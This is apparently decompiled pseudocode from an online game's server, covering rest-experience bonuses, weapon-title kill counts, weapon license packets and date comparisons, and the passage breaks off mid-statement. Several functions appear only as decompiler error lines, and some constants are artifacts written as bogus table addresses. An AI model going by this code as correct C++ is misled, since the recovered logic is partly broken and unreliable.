(00569040) -------------------------------------------------------- #error "569040: undefined or illegal type '#734' (funcsize=210)" //----- (005692F0) -------------------------------------------------------- void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this) { RestExpCalculate *v1; // esi@1 v1 = this; this->m_NeedTime = ShineCommonParameter::operator_>(&shineparam)->MinNeedTime; v1->m_FirstAddBuffTime = ShineCommonParameter::operator_>(&shineparam)->DefaultBonusTime; v1->m_InterValTime = ShineCommonParameter::operator_>(&shineparam)->IntervalTime; v1->m_AddBuffTime = ShineCommonParameter::operator_>(&shineparam)->AddBuffTime; v1->m_BuffMaxTime = ShineCommonParameter::operator_>(&shineparam)->MaxBuffTime; } //----- (00569350) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // edx@4 int v6; // eax@4 int v7; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { v5 = this->m_FirstAddBuffTime; v6 = this->m_AddBuffTime * (v4 - this->m_NeedTime) / this->m_InterValTime; v7 = 1000 * this->m_BuffMaxTime; result = 1000 * (v5 + v6); if ( v7 < result ) result = v7; } return result; } //----- (005693A0) -------------------------------------------------------- unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime) { unsigned int result; // eax@2 int v4; // eax@3 int v5; // ecx@4 if ( *rNewTime <= *rOldTime || (v4 = *rNewTime - *rOldTime, v4 < this->m_NeedTime) ) { result = 0; } else { result = 1000 * this->m_AddBuffTime * ((v4 - this->m_NeedTime) / this->m_InterValTime + 1); v5 = 1000 * this->m_BuffMaxTime; if ( v5 < result ) result = v5; } return result; } //----- (005693E0) -------------------------------------------------------- #error "5693E0: undefined or illegal type '#734' (funcsize=108)" //----- (00569500) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon) { ItemTotalInformation *v3; // ebx@1 WEAPON_TITLE_DATA *result; // eax@2 signed int v5; // esi@3 unsigned __int16 *v6; // edi@3 CWeaponTitle *thisa; // [sp+0h] [bp-4h]@1 v3 = pWeapon; thisa = (CWeaponTitle *)this; if ( pWeapon ) { v5 = 0; v6 = (unsigned __int16 *)((char *)&pWeapon->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v6, MobID) < 0 ) { ++v5; v6 += 3; if ( v5 >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( thisa, *(_WORD *)((char *)&v3->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 6 * v5 + 3), (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & *(_DWORD *)&v3->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[6 * v5 + 1], (unsigned int *)&pWeapon); } else { result = 0; } return result; } //----- (00569580) -------------------------------------------------------- WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel) { WEAPON_TITLE_DATA *result; // eax@1 char *v5; // edx@2 result = 0; if ( pWeapon ) { v5 = (char *)&pWeapon->iti_itemstruct.itemattr.amulet.IsPutOnBelonged + 3; while ( *(_WORD *)v5 != MobID ) { result = (WEAPON_TITLE_DATA *)((char *)result + 1); v5 += 6; if ( (signed int)result >= 3 ) return 0; } result = CWeaponTitle::GetLevelData( &this->baseclass_0, MobID, (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & *(_DWORD *)&pWeapon->iti_itemstruct.itemattr.amulet.itemkey.binary.gap0[6 * (_DWORD)result + 1], pLevel); } return result; } //----- (005695D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv) { void *v2; // esi@1 int v3; // esi@1 int v4; // eax@1 int v5; // edi@1 unsigned __int16 v6; // bx@1 FunctionProfiler::PerformanceRecorder *v7; // ecx@4 int result; // eax@5 int v9; // eax@7 int v10; // esi@7 int v11; // eax@8 char *v12; // [sp-4h] [bp-24h]@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)((char *)v2 + 32312); *(_WORD *)inv = 8204; v4 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 12); v5 = v4; v6 = *(_WORD *)(v4 + 8); if ( v6 == -1 ) { *(_WORD *)inv = *(_WORD *)inv & 0xFC0A | 0xA; v9 = (**(int (__thiscall ***)(_DWORD, _DWORD))v3)(v3, 10); v10 = v9; if ( *(_WORD *)(v9 + 8) == -1 ) goto LABEL_4; v11 = (*(int (**)(void))(**(_DWORD **)(v9 + 112) + 36))(); --funcallanalizer.fca_stackpoint; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; v7 = &_PerformanceRecorder; if ( v11 != 5 ) goto LABEL_5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v10; } else { if ( (*(int (**)(void))(**(_DWORD **)(v4 + 112) + 36))() != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_ply_EquipWeapon : not weapon in righthand", v6); LABEL_4: --funcallanalizer.fca_stackpoint; v7 = &_PerformanceRecorder; v12 = "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"; LABEL_5: FunctionProfiler::PerformanceRecorder::pr_Exit(v7, v12); return 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_EquipWeapon"); result = v5; } return result; } //----- (00569760) -------------------------------------------------------- #error "569760: undefined or illegal type '#593' (funcsize=106)" //----- (005698F0) -------------------------------------------------------- #error "5698F0: undefined or illegal type '#593' (funcsize=109)" //----- (00569AE0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_WT_TITLE_SET_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::gds_NC_WT_TITLE_SET_ACK"); } //----- (00569B30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount) { void *v4; // edi@1 char *v5; // esi@1 int v6; // edx@1 ZoneBaseSession *v7; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_saveweapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23561; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = *(_DWORD *)itemkey; v6 = *(_DWORD *)(itemkey + 4); *(_DWORD *)(v5 + 18) = KillCount; *((_DWORD *)v5 + 3) = v6; *((_WORD *)v5 + 8) = mobid; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle To sock2gameDB : Packet Too Long", 22); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_saveweapontitle"); } //----- (00569C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell) { __int16 v4; // dx@1 signed int v5; // eax@1 __int16 *v6; // ecx@1 char *v7; // eax@5 int v8; // eax@7 char *v9; // ebx@8 int v10; // eax@8 int v11; // eax@8 int v12; // eax@9 int v13; // esi@11 int v14; // ecx@12 ZoneBaseSession *v15; // eax@13 void *v16; // ebx@15 int v17; // esi@15 int v18; // eax@15 void *v19; // [sp+28h] [bp-118h]@1 int clearattrb; // [sp+34h] [bp-10Ch]@8 int clearitemlot; // [sp+38h] [bp-108h]@8 int weapon; // [sp+48h] [bp-F8h]@1 int v23; // [sp+4Ch] [bp-F4h]@8 __int16 v24; // [sp+59h] [bp-E7h]@1 char v25[93]; // [sp+5Bh] [bp-E5h]@8 __int16 v26; // [sp+B4h] [bp-8Ch]@1 char v27; // [sp+B6h] [bp-8Ah]@1 char clearitem; // [sp+B8h] [bp-88h]@8 char v29; // [sp+C0h] [bp-80h]@10 __int16 v30; // [sp+124h] [bp-1Ch]@8 char v31; // [sp+126h] [bp-1Ah]@8 unsigned int v32; // [sp+12Ch] [bp-14h]@1 int v33; // [sp+13Ch] [bp-4h]@1 int v34; // [sp+140h] [bp+0h]@1 v32 = (unsigned int)&v34 ^ __security_cookie; v19 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_WORD *)(pReq + 4); memcpy(&weapon, (const void *)weaponcell, 0x6Cu); v26 = *(_WORD *)(weaponcell + 108); v5 = 0; v33 = 0; v27 = *(_BYTE *)(weaponcell + 110); v6 = &v24; do { if ( *v6 == v4 ) break; ++v5; v6 += 3; } while ( v5 < 3 ); if ( v5 == 3 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v7 + 1) = *(_WORD *)pReq; *((_WORD *)v7 + 2) = *(_WORD *)(pReq + 2); v7[6] = 0; *(_WORD *)(v7 + 7) = 2496; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v19 + 764))(v19); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v8 + 12))(v8, v19, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } } else { v9 = gpp.pp_Buffer; v10 = 6 * v5; *(__int16 *)((char *)&v24 + v10) = -1; *(_DWORD *)&v25[v10] = 0; *(_WORD *)v9 = 23559; *((_WORD *)v9 + 1) = *((_WORD *)v19 + 2); *((_DWORD *)v9 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v19 + 836))(v19); *((_WORD *)v9 + 4) = *((_WORD *)v19 + 28942); *(_DWORD *)(v9 + 14) = weapon; *(_DWORD *)(v9 + 18) = v23; *((_WORD *)v9 + 11) = *(_WORD *)(pReq + 4); *((_WORD *)v9 + 5) = *(_WORD *)pReq; *((_WORD *)v9 + 6) = *(_WORD *)(pReq + 2); clearattrb = *(_DWORD *)(clearitemcell + 112); v11 = (*(int (__stdcall **)(int))(**(_DWORD **)(clearitemcell + 112) + 24))(clearitemcell + 8); memcpy(&clearitem, (const void *)clearitemcell, 0x6Cu); v30 = *(_WORD *)(clearitemcell + 108); v31 = *(_BYTE *)(clearitemcell + 110); *((_DWORD *)v9 + 6) = *(_DWORD *)clearitemcell; *((_DWORD *)v9 + 7) = *(_DWORD *)(clearitemcell + 4); clearitemlot = v11; *((_WORD *)v9 + 16) = *(_WORD *)(clearitemcell + 8); if ( v11 == 1 ) { v9[34] = 1; v12 = 0; *(_WORD *)(v9 + 35) = 0; } else { v9[34] = 0; (*(void (__stdcall **)(char *, int))(*(_DWORD *)clearattrb + 28))(&v29, v11 - 1); v12 = (**(int (__stdcall ***)(char *, char *))clearattrb)(&v29, v9 + 37) - (_DWORD)(v9 + 37); *(_WORD *)(v9 + 35) = 35; } v13 = v12 + 37; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v12 + 37) ) { v15 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v15); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_WeaponLicenseClear : Packet Too Long", v13); } if ( clearitemlot == 1 ) { v16 = v19; v17 = (int)((char *)v19 + 57880); v18 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v19 + 14470) + 48))( (char *)v19 + 57880, *((_WORD *)v19 + 28942), clearitemcell, pReq, pReq); } else { LOWORD(v14) = *((_WORD *)v19 + 28942); v17 = (int)((char *)v19 + 57880); v18 = (*(int (__thiscall **)(char *, int, int, char *, int, int))(*((_DWORD *)v19 + 14470) + 56))( (char *)v19 + 57880, v14, clearitemcell, &clearitem, pReq, pReq); v16 = v19; } LOWORD(v18) = *((_WORD *)v16 + 28942); (*(void (__thiscall **)(int, int, int, int *, int, int))(*(_DWORD *)v17 + 56))( v17, v18, weaponcell, &weapon, pReq + 2, pReq + 2); ++*(_WORD *)(v17 + 4); } --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear"); } // 569C40: using guessed type char var_E5[93]; //----- (00569F60) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid) { void *v2; // ebx@1 int v3; // edx@1 void *v4; // edi@1 unsigned __int16 *v5; // ebp@3 MobDataBox::MobDataBoxIndex *v6; // eax@3 int v8; // esi@7 int v9; // eax@7 signed int v10; // esi@9 unsigned __int16 *v11; // edi@9 char *v12; // edi@13 unsigned __int16 v13; // ax@13 unsigned int v14; // esi@13 int v15; // esi@13 unsigned int v16; // ecx@13 char *v17; // esi@16 __int16 v18; // ax@16 char v19; // al@16 int v20; // eax@17 char *v21; // [sp-4h] [bp-30h]@2 ITEM_INVEN inv; // [sp+10h] [bp-1Ch]@1 char *cell; // [sp+14h] [bp-18h]@1 unsigned int NewRank; // [sp+18h] [bp-14h]@13 FunctionEntarance _; // [sp+1Ch] [bp-10h]@1 int v26; // [sp+28h] [bp-4h]@1 unsigned int mobida; // [sp+30h] [bp+4h]@13 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_weapontitle"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_weapontitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v26 = 0; v4 = (void *)(*(int (__thiscall **)(void *, ITEM_INVEN *))(v3 + 1964))(v2, &inv); cell = (char *)v4; if ( !v4 ) { v26 = -1; v21 = "ShineObjectClass::ShinePlayer::so_weapontitle"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); return 0; } v5 = mobid; v6 = MobDataBox::operator__(&mobdatabox, *mobid); if ( !v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::so_weapontitle : Invalid mob", *mobid); LABEL_5: v26 = -1; v21 = "ShineObjectClass::ShinePlayer::so_weapontitle"; goto LABEL_6; } v8 = v6->data->Level; v9 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1236))(v2); if ( v8 < (unsigned __int8)v9 - 5 || v8 > v9 + 20 ) goto LABEL_5; v10 = 0; v11 = (unsigned __int16 *)((char *)v4 + 17); while ( MobDataBox::mdb_SpeciesDistance(&mobdatabox, *v11, *mobid) < 0 ) { ++v10; v11 += 3; if ( v10 >= 3 ) goto LABEL_5; } v12 = &cell[6 * v10]; v13 = *(_WORD *)(v12 + 17); *mobid = v13; v14 = (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & *(_DWORD *)(v12 + 19); mobida = CWeaponTitle::GetLevel( &gWeaponTitle.baseclass_0, v13, (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & *(_DWORD *)(v12 + 19)); v15 = v14 + 1; *(_DWORD *)(v12 + 19) ^= (unsigned int)((char *)&pathfindtable.pft_table[1103][975].pfc_from.y + 3) & (v15 ^ *(_DWORD *)(v12 + 19)); v16 = CWeaponTitle::GetLevel(&gWeaponTitle.baseclass_0, *v5, v15); NewRank = v16; if ( !(v15 % 0xAu) || mobida != v16 ) { ShineObjectClass::ShinePlayer::sp_saveweapontitle(v2, (int)cell, *v5, v15); if ( mobida != NewRank ) { v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23555; v18 = *(_WORD *)((**((int (__stdcall ***)(_DWORD))v2 + 8078))(12) + 8); v17[4] = NewRank; *((_WORD *)v17 + 1) = 2 * (v18 != -1) + 8202; v19 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v19, "ShinePlayer::so_weapontitle To ShinePlayer : Packet Too Long", 5) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } } } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_weapontitle"); return 1; } //----- (0056A1E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edi@1 __int16 v6; // ax@5 unsigned int v7; // ecx@5 int v8; // esi@7 unsigned __int16 v9; // ax@10 ItemDataBox::ItemDataBoxIndex *v10; // eax@11 __int16 v11; // ax@13 int v12; // ecx@13 int v13; // eax@14 int v14; // ebp@14 unsigned __int16 v15; // ax@15 ItemDataBox::ItemDataBoxIndex *v16; // eax@18 int v17; // eax@21 int v18; // esi@21 int v19; // esi@21 int v20; // eax@21 int v21; // eax@21 int v22; // eax@22 int v23; // eax@24 char *v24; // esi@24 int v25; // eax@24 __int16 v26; // ax@24 int v27; // edx@24 int v28; // eax@24 int v29; // edx@24 void *v30; // eax@24 int v31; // edx@24 char v32; // al@24 ZoneBaseSession *v33; // eax@25 char *v34; // eax@32 __int16 v35; // dx@32 int v36; // eax@34 int Error; // [sp+40h] [bp-98h]@1 int pReq; // [sp+44h] [bp-94h]@1 int weaponcell; // [sp+48h] [bp-90h]@7 int mobid; // [sp+4Ch] [bp-8Ch]@20 FunctionEntarance _; // [sp+50h] [bp-88h]@1 int v42; // [sp+54h] [bp-84h]@5 ItemTotalInformation titled; // [sp+58h] [bp-80h]@21 unsigned int v44; // [sp+C8h] [bp-10h]@1 int v45; // [sp+D4h] [bp-4h]@1 v4 = this; v44 = (unsigned int)&Error ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = netcmd + 2; v45 = 0; pReq = netcmd + 2; if ( !(_S5_65 & 1) ) { _S5_65 |= 1u; stru_130DFC38.cmc_AllowMode = 70; atexit(_E6_79); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DFC38.cmc_AllowMode) ) { Error = 2495; goto SEND_ERROR; } v42 = netcmd + 4; v6 = *(_WORD *)(netcmd + 4); v7 = ((unsigned int)*(_WORD *)(netcmd + 4) >> 10) - 8; Error = 2494; if ( v7 ) { if ( v7 != 1 ) goto SEND_ERROR; v8 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, v6 & 0x3FF); weaponcell = v8; } else { weaponcell = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8078))( (char *)v4 + 32312, v6 & 0x3FF); v8 = weaponcell; } if ( v8 ) { v9 = *(_WORD *)(v8 + 8); if ( v9 != -1 ) { v10 = ItemDataBox::operator__(&itemdatabox, v9); if ( v10 ) { if ( v10->data->Class == 5 ) { v11 = *(_WORD *)v5; v12 = *(_WORD *)v5 & 0xFC00; Error = 2495; if ( v12 == 9216 ) { v13 = (*(int (__thiscall **)(char *, int))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, v11 & 0x3FF); v14 = v13; if ( v13 ) { v15 = *(_WORD *)(v13 + 8); if ( v15 != -1 ) { if ( v15 == unk_131DF0D8 ) { ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(v4, v5, v8, v14); LABEL_27: v45 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_36; } v16 = ItemDataBox::operator__(&itemdatabox, v15); if ( v16 ) { if ( v16->data->Class == 16 ) { mobid = (*(int (__stdcall **)(MobDataBox *, ItemDataBox *, int))(**(_DWORD **)(v14 + 112) + 84))( &mobdatabox, &itemdatabox, v14); if ( (_WORD)mobid != -1 ) { v17 = *(_DWORD *)(v8 + 112); memcpy(&titled, (const void *)v8, 0x6Cu); v18 = v8 + 108; *(_WORD *)((char *)&titled.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v18; BYTE3(titled.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v18 + 2); v19 = *(_DWORD *)v17; Error = v17; v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1384))(v4); v21 = (*(int (__thiscall **)(int, ItemTotalInformation *, int, int))(v19 + 68))( Error, &titled, mobid, v20) - 1; if ( v21 ) { v22 = v21 - 1; if ( v22 ) { if ( v22 != 1 ) { v23 = (*(int (__thiscall **)(char *, _DWORD, int, int, int))(*((_DWORD *)v4 + 14470) + 48))( (char *)v4 + 57880, *((_WORD *)v4 + 28942), v14, pReq, pReq); LOWORD(v23) = *((_WORD *)v4 + 28942); (*(void (__thiscall **)(char *, int, int, ItemTotalInformation *, int, int))(*((_DWORD *)v4 + 14470) + 56))( (char *)v4 + 57880, v23, weaponcell, &titled, v42, v42); v24 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23557; *((_WORD *)v24 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v24 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v24 + 4) = *((_WORD *)v4 + 28942); *(_DWORD *)(v24 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1384))(v4); Name4::operator_((int)(v24 + 14), v25); v26 = mobid; *(_DWORD *)(v24 + 38) = *(_DWORD *)v14; v27 = *(_DWORD *)(v14 + 4); *((_WORD *)v24 + 23) = v26; v28 = weaponcell; *(_DWORD *)(v24 + 42) = v27; *(_DWORD *)(v24 + 30) = *(_DWORD *)v28; v29 = *(_DWORD *)(v28 + 4); v30 = (void *)pReq; *(_DWORD *)(v24 + 34) = v29; v31 = v42; *((_WORD *)v24 + 24) = *(_WORD *)v30; *((_WORD *)v24 + 25) = *(_WORD *)v31; v32 = ProtocolPacket::pp_SetPacketLen(&gpp, 52); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShinePlayer::sp_NC_WT_LICENSE_REQ : Packet Too Long", 52) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v33); } ++*((_WORD *)v4 + 28942); goto LABEL_27; } Error = 2493; } else { Error = 2492; } } else { Error = 2491; } v5 = pReq; goto SEND_ERROR; } } } } } } } } } } SEND_ERROR: v34 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 23554; *((_WORD *)v34 + 1) = *(_WORD *)v5; v35 = Error; *((_WORD *)v34 + 2) = *(_WORD *)(v5 + 2); *(_WORD *)(v34 + 7) = v35; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v36 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v36 + 12))(v36, v4, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "GameDBSession::sp_NC_WT_LICENSE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; v45 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ"); LABEL_36: __security_check_cookie((unsigned int)&Error ^ v44); } //----- (0056A620) -------------------------------------------------------- #error "56A620: undefined or illegal type '#734' (funcsize=122)" //----- (0056A7D0) -------------------------------------------------------- bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 > v4 || v5 >= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 > (unsigned int)v7) || v8 >= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 > (unsigned int)v9) || v10 >= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 > (unsigned int)v11) || v12 >= (unsigned int)v11 && (unsigned int)v3 >> 25 > (unsigned int)v2 >> 25))); } //----- (0056A850) -------------------------------------------------------- bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs) { int v2; // edx@1 int v3; // esi@1 unsigned int v4; // eax@1 unsigned int v5; // ecx@1 int v7; // eax@4 int v8; // ecx@4 int v9; // eax@6 int v10; // ecx@6 int v11; // eax@8 int v12; // ecx@8 v2 = Rhs->_bf0; v3 = this->_bf0; v4 = (unsigned __int8)Rhs->_bf0; v5 = (unsigned __int8)this->_bf0; return v5 < v4 || v5 <= v4 && ((v7 = ((unsigned int)v2 >> 8) & 0x1F, v8 = ((unsigned int)v3 >> 8) & 0x1F, v8 < (unsigned int)v7) || v8 <= (unsigned int)v7 && ((v9 = ((unsigned int)v2 >> 13) & 0x3F, v10 = ((unsigned int)v3 >> 13) & 0x3F, v10 < (unsigned int)v9) || v10 <= (unsigned int)v9 && ((v11 = ((unsigned int)v2 >> 19) & 0x3F, v12 = ((unsigned int)v3 >> 19) & 0x3F, v12 < (unsigned int)v11) || v12 <= (unsigned int)v11 && (unsigned int)v3 >> 25 < (unsigned int)v2 >> 25))); } //----- (0056A8D0) -------------------------------------------------------- ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs) { ShineDateTime *v2; // esi@1 int v3; // ecx@1 unsigned int v4; // edx@1 unsigned int v5; // eax@1 int v6; // ecx@1 tm *v7; // eax@1 int v8; // ecx@1 int v9; // edx@1 int v10; // edx@1 unsigned int v11; // ecx@1 __time64_t UnixTime; // [sp+Ch] [bp-2Ch]@1 int Time1; // [sp+14h] [bp-24h]@1 unsigned int v15; // [sp+18h] [bp-20h]@1 unsigned int v16; // [sp+1Ch] [bp-1Ch]@1 unsigned int v17; // [sp+20h] [bp-18h]@1 unsigned int v18; // [sp+24h] [bp-14h]@1 int v19; // [sp+28h] [bp-10h]@1 int v20; // [sp+34h] [bp-4h]@1 v2 = this; v3 = this->_bf0; v4 = v2->_bf0; v15 = (unsigned int)v3 >> 25; v5 = v2->_bf0; v16 = ((unsigned int)v3 >> 19) & 0x3F; v6 = v2->_bf0; v17 = (v4 >> 13) & 0x3F; Time1 = 0; v18 = ((v5 >> 8) & 0x1F) - 1; v19 = (unsigned __int8)v6 + 100; v20 = -1; UnixTime = 60 * ((unsigned __int8)Rhs.minute + 60 * ((unsigned __int8)Rhs.hour + 24 * Rhs.date)) + _mktime64((tm *)&Time1); v7 = _localtime64(&UnixTime); LOBYTE(v2->_bf0) = 